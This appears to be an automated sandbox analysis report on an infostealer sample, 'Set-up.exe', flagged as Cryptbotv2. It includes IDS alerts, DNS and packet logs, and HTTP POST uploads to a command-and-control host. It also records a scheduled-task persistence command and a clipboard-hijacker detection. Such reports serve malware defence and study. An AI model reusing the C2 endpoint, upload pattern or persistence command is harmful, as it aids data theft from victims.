/80	0xc49000	0x961	0xa00	9109961d3d1231997c8aa80b9ef91e44	False	0.381640625	data	4.6390012281106685	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/91	0xc4a000	0x18b05	0x18c00	5b286364f5137777febcfe2f5ec8b660	False	0.3387192234848485	data	4.1602779339325675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/102	0xc63000	0x11c0	0x1200	acb9037b7b793eae32ab82637f1d257e	False	0.3736979166666667	Matlab v4 mat-file (little endian) \360, rows 16, columns 19, imaginary	3.383708098291067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, FreeLibrary, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetStartupInfoA, GetTempPathA, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, MultiByteToWideChar, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery, WideCharToMultiByte, lstrlenA
msvcrt.dll	__getmainargs, __initenv, __lconv_init, __mb_cur_max, __p__acmdln, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _amsg_exit, _assert, _cexit, _errno, _chsize, _filelengthi64, _fileno, _initterm, _iob, _lock, _onexit, _unlock, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fopen, fputc, fread, free, freopen, fsetpos, fwrite, getc, islower, isspace, isupper, isxdigit, localeconv, malloc, memcmp, memcpy, memmove, memset, mktime, localtime, difftime, _mkdir, perror, puts, realloc, remove, setlocale, signal, strchr, strcmp, strcpy, strerror, strlen, strncmp, strncpy, strtol, strtoul, tolower, ungetc, vfprintf, time, wcslen, wcstombs, _stat, _utime, _fileno, _chmod
SHELL32.dll	ShellExecuteA

Exports

Name	Ordinal	Address
main	1	0x416284

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-09-03T15:14:10.579524+0200	TCP	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	49717	80	192.168.2.9	195.133.48.136
2024-09-03T15:14:06.437129+0200	TCP	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	49717	80	192.168.2.9	195.133.48.136
2024-09-03T15:14:14.921542+0200	TCP	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	49717	80	192.168.2.9	195.133.48.136

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 3, 2024 15:14:05.676539898 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:05.681492090 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:05.681587934 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:05.681747913 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:05.681771994 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:05.686614037 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:05.686635971 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:06.384628057 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:06.437129021 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.569052935 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.569334984 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.573852062 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574111938 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574161053 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.574310064 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574320078 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574366093 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.574371099 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574379921 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574426889 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.574440002 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574448109 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574454069 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574485064 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574506998 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.574522018 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.574527979 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.574563980 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.578949928 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579004049 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579040051 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579081059 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579085112 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579114914 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579220057 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579229116 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579269886 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579279900 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579324961 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579329967 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579371929 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579375029 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579415083 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579416990 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579471111 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579480886 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579520941 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579524040 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579580069 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.579631090 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.579675913 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.583930016 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.583971024 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.583998919 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.584022045 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:10.584038019 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584141016 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584202051 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584256887 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584321022 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584355116 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584420919 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584537029 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584660053 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584682941 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584697962 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584813118 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584824085 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584860086 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584872007 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584928989 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584937096 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584961891 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.584979057 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.585061073 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.585068941 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.585102081 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.585110903 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.585161924 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.585170984 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.588984013 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.589004040 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.589070082 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.589111090 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.589179993 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:10.589191914 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:11.036412954 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:11.077769995 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:14.345529079 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:14.345635891 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:14.350496054 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350524902 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350775957 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350785971 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350794077 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350804090 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350814104 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350822926 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350831985 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350845098 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350855112 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350863934 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350879908 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.350888968 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351119041 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351129055 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351138115 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351146936 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351155996 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351165056 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351172924 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351181984 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351190090 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351198912 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351411104 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.351449966 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.871783972 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:14.921541929 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:44.871238947 CEST	80	49717	195.133.48.136	192.168.2.9
Sep 3, 2024 15:14:44.871373892 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:44.871473074 CEST	49717	80	192.168.2.9	195.133.48.136
Sep 3, 2024 15:14:44.876316071 CEST	80	49717	195.133.48.136	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 3, 2024 15:14:05.142376900 CEST	59357	53	192.168.2.9	1.1.1.1
Sep 3, 2024 15:14:05.670464039 CEST	53	59357	1.1.1.1	192.168.2.9
Sep 3, 2024 15:14:15.678904057 CEST	53	61718	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 3, 2024 15:14:05.142376900 CEST	192.168.2.9	1.1.1.1	0xb3e5	Standard query (0)	twov2vt.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 3, 2024 15:14:05.670464039 CEST	1.1.1.1	192.168.2.9	0xb3e5	No error (0)	twov2vt.top		195.133.48.136	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

twov2vt.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49717	195.133.48.136	80	7488	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Sep 3, 2024 15:14:05.681747913 CEST	330	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary50662501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 411 Host: twov2vt.top
Sep 3, 2024 15:14:05.681771994 CEST	411	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 35 30 36 36 32 35 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 61 7a Data Ascii: ------Boundary50662501Content-Disposition: form-data; name="file"; filename="Wazinod.bin"Content-Type: application/octet-streamQ`g!]K\|P56Z@'=^Z6LFuNS9?vV:L- rs?^>
Sep 3, 2024 15:14:06.384628057 CEST	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Tue, 03 Sep 2024 13:14:06 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK
Sep 3, 2024 15:14:10.569052935 CEST	332	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary36602442 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 90242 Host: twov2vt.top
Sep 3, 2024 15:14:10.569334984 CEST	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 33 36 36 30 32 34 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 61 7a Data Ascii: ------Boundary36602442Content-Disposition: form-data; name="file"; filename="Xazizu.bin"Content-Type: application/octet-streamm(45QViG@JG6S}+JXyo1]t"(XdV:B7<pw1b?H$c@7
Sep 3, 2024 15:14:10.574161053 CEST	2472	OUT	Data Raw: 90 27 22 28 18 03 b2 86 41 7c 4d 3b 17 c6 3e 8a 78 d8 88 19 d0 ac 41 ca 6b e8 47 23 c1 52 62 d0 96 4c 24 b9 44 34 09 2a b7 10 a3 06 8b bc 28 44 2a 56 55 9b 88 b6 94 55 74 0c 57 1b 62 72 85 b3 d0 16 a7 0a d8 d5 5c 16 4a f2 a1 3d 6c 3d 40 c4 e8 fa Data Ascii: '"(A\|M;>xAkG#RbL$D4(DVUUtWbr\J=l=@R$%O!K`]Dg!Lo<FJI-q_FXKmn/Z]K3K;)#-3 bEA$9[Vm{Thz/Zr1}O*c"R2dV&G_'
Sep 3, 2024 15:14:10.574366093 CEST	4944	OUT	Data Raw: 13 14 3d e5 a9 25 1d e4 5b 85 40 1c b4 1e c5 26 e9 93 e7 f5 35 a4 a3 53 46 e9 ed 27 51 62 49 71 b4 2d 92 1e 76 3e 78 38 fc 3f 9b 66 e5 c5 c4 23 56 e6 e4 a8 68 b3 55 93 9d 1a ff 65 a2 25 7d eb 0b 6c ae 47 b7 68 b1 d5 96 b3 68 18 37 f5 9d 46 ce d9 Data Ascii: =%[@&5SF'QbIq-v>x8?f#VhUe%}lGhh7Fmf'y=tBX}vcs}[v.odTUR:=z#fHJK=$F]8PIL3pd-Q{SlG>)^*m8R'.-tK
Sep 3, 2024 15:14:10.574426889 CEST	4944	OUT	Data Raw: 54 ef 8d 8e ba 25 7c 24 66 4d 8f 5f 61 b3 40 f0 4d 74 ac 51 1e 2b 4b 99 12 57 6d ac 65 8f b4 94 f8 76 35 ea 9e 20 0e 90 a6 51 40 24 96 d7 b8 18 83 8b 73 e5 cd 4b 28 7b 9a e9 11 67 19 50 ef 87 3a f7 98 0d e1 aa 1d 83 74 15 52 db 0a dd 51 5a 87 a0 Data Ascii: T%\|$fM_a@MtQ+KWmev5 Q@$sK({gP:tRQZK<FUjd9WvsP.22)m3(z/UlP}JRPh\:N4E]6lVM,L=fA^G3=i3u9tBPMKJk/
Sep 3, 2024 15:14:10.574506998 CEST	7416	OUT	Data Raw: 33 7b 91 4b 80 14 ef 1b 99 69 39 cf dc 7a 80 6d 17 c0 b3 2d 1b f5 ba 5e 41 85 0f f9 f1 3e 70 fe f6 10 22 0a 86 2f 3c 2e e8 b4 10 1a e7 a4 3a 60 4f 1c 8b 9d d2 3b 1c 48 5d 41 82 ae 6b 1e f0 e1 78 ea bb fd 4d d1 87 d9 19 8f 00 7a 09 f0 b8 19 fb 50 Data Ascii: 3{Ki9zm-^A>p"/<.:`O;H]AkxMzPdN\Xkf?_C_K71_mh$D/vk1b1;_q.\|d+U/Xu5f'(oR\|}6"exGz,@MS7KX\|
Sep 3, 2024 15:14:10.574522018 CEST	2472	OUT	Data Raw: 1a 4e f3 72 d5 08 11 a7 e8 7a 3c 57 2b 2a 8a c8 61 69 5b 38 43 72 d8 a4 b4 92 81 12 9b aa 30 f4 94 df 58 85 dd c9 a1 8c 12 fc 79 16 49 8c 2f ec aa 36 98 99 8e ed 40 f1 ff 88 fb 4b 56 fa e8 ef e3 5b 55 6c ec a9 58 2b a0 dd 98 13 c9 6f a5 1d f0 92 Data Ascii: Nrz<W+ai[8Cr0XyI/6@KV[UlX+oF8QKn6np<wYke0N)VvmAnUccUC;]c~6?wx[V,0gZgoAye6LpwVv{+bGa)a'}
Sep 3, 2024 15:14:10.574563980 CEST	2472	OUT	Data Raw: 86 ed d8 c2 a4 b1 63 a3 51 e5 2a ba bd be 60 ba 17 24 f4 10 1a 5b d4 ef 7b fc ea 20 98 51 7d d2 28 83 4b 09 40 4d 5c 4e 2c c2 88 ed e7 ad 43 57 28 5b 96 23 1c 09 40 eb af 8e 17 36 32 fd c5 25 0a ef ac 26 fe 63 e4 84 5a 98 68 e7 3c 7f 27 24 c3 56 Data Ascii: cQ*`$[{ Q}(K@M\N,CW([#@62%&cZh<'$VhP?[r%N\|$Y?ZY\?"vVJd7paZ)=yi_-)y7bz\w0ni)YF0a%6Q`/suEp!jn[Z_~<f^2
Sep 3, 2024 15:14:10.579004049 CEST	2472	OUT	Data Raw: 85 57 87 66 f4 22 1c bd 48 93 c6 47 99 cb d6 6e af 11 d1 11 38 cb 00 88 89 6d 2e 77 f9 4c 46 f8 85 34 84 ff 40 1a 7b 2f 0f 60 f3 a1 68 6f 95 57 88 30 33 f0 20 0a 4d 32 41 f3 17 f8 1b 0c f3 c6 56 0f 7f d9 cf 95 63 ab 4b a3 1f ed 0e 38 0c 2d 16 41 Data Ascii: Wf"HGn8m.wLF4@{/`hoW03 M2AVcK8-Ae";Ok%~b}B{I5iQ94cq,gWLt~Z]Aj,C/D{>=P46T=wY />E_4gA(UW&j7!RlyC/d-
Sep 3, 2024 15:14:10.579085112 CEST	2472	OUT	Data Raw: ef fe c3 6f 13 2d 97 03 aa 39 4f 6b 8f 0b 50 29 b9 0e ad cf 04 d7 11 d7 2e 8c 33 21 b0 a4 f1 7a 0c 85 42 f0 1f 77 d1 c4 01 29 da 31 40 f0 07 d3 18 6f c1 f4 7c cd de ef a8 a8 96 d5 93 47 9c 40 b8 53 46 47 51 bb 2f c8 63 5f 70 8e 57 64 96 44 8d 13 Data Ascii: o-9OkP).3!zBw)1@o\|G@SFGQ/c_pWdD0r"t?PD7>dhU=!69Af<rw6!+jG\|HOX$26tx=`@oh[Jx3MGg `lVgJ3xIM6*B-Z
Sep 3, 2024 15:14:11.036412954 CEST	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Tue, 03 Sep 2024 13:14:10 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK
Sep 3, 2024 15:14:14.345529079 CEST	332	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary83386311 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 30031 Host: twov2vt.top
Sep 3, 2024 15:14:14.871783972 CEST	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Tue, 03 Sep 2024 13:14:14 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Target ID:	1
Start time:	09:13:56
Start date:	03/09/2024
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0x400000
File size:	6'616'665 bytes
MD5 hash:	F6F95571DBA7580401D6D48E3D2E4A5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 00000001.00000003.1865318480.0000000004189000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:14:53
Start date:	03/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x2b0000
File size:	314'613'760 bytes
MD5 hash:	5F9451036F4A31D47EA2ECDD9805E040
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:14:53
Start date:	03/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0x90000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:14:53
Start date:	03/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:14:57
Start date:	03/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x2b0000
File size:	314'613'760 bytes
MD5 hash:	5F9451036F4A31D47EA2ECDD9805E040
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:15:02
Start date:	03/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x2b0000
File size:	314'613'760 bytes
MD5 hash:	5F9451036F4A31D47EA2ECDD9805E040
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:16:01
Start date:	03/09/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:
File size:	314'613'760 bytes
MD5 hash:	5F9451036F4A31D47EA2ECDD9805E040
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	44.3%
Total number of Nodes:	140
Total number of Limit Nodes:	7

Executed Functions

Function 002B117C Relevance: 19.7, APIs: 13, Instructions: 199
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 002B11C7
SetUnhandledExceptionFilter.KERNEL32 ref: 002B1248
__p__acmdln.MSVCRT ref: 002B1271
malloc.MSVCRT ref: 002B12FB
strlen.MSVCRT ref: 002B132B
malloc.MSVCRT ref: 002B1336
memcpy.MSVCRT ref: 002B134C
GetStartupInfoA.KERNEL32 ref: 002B1443

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
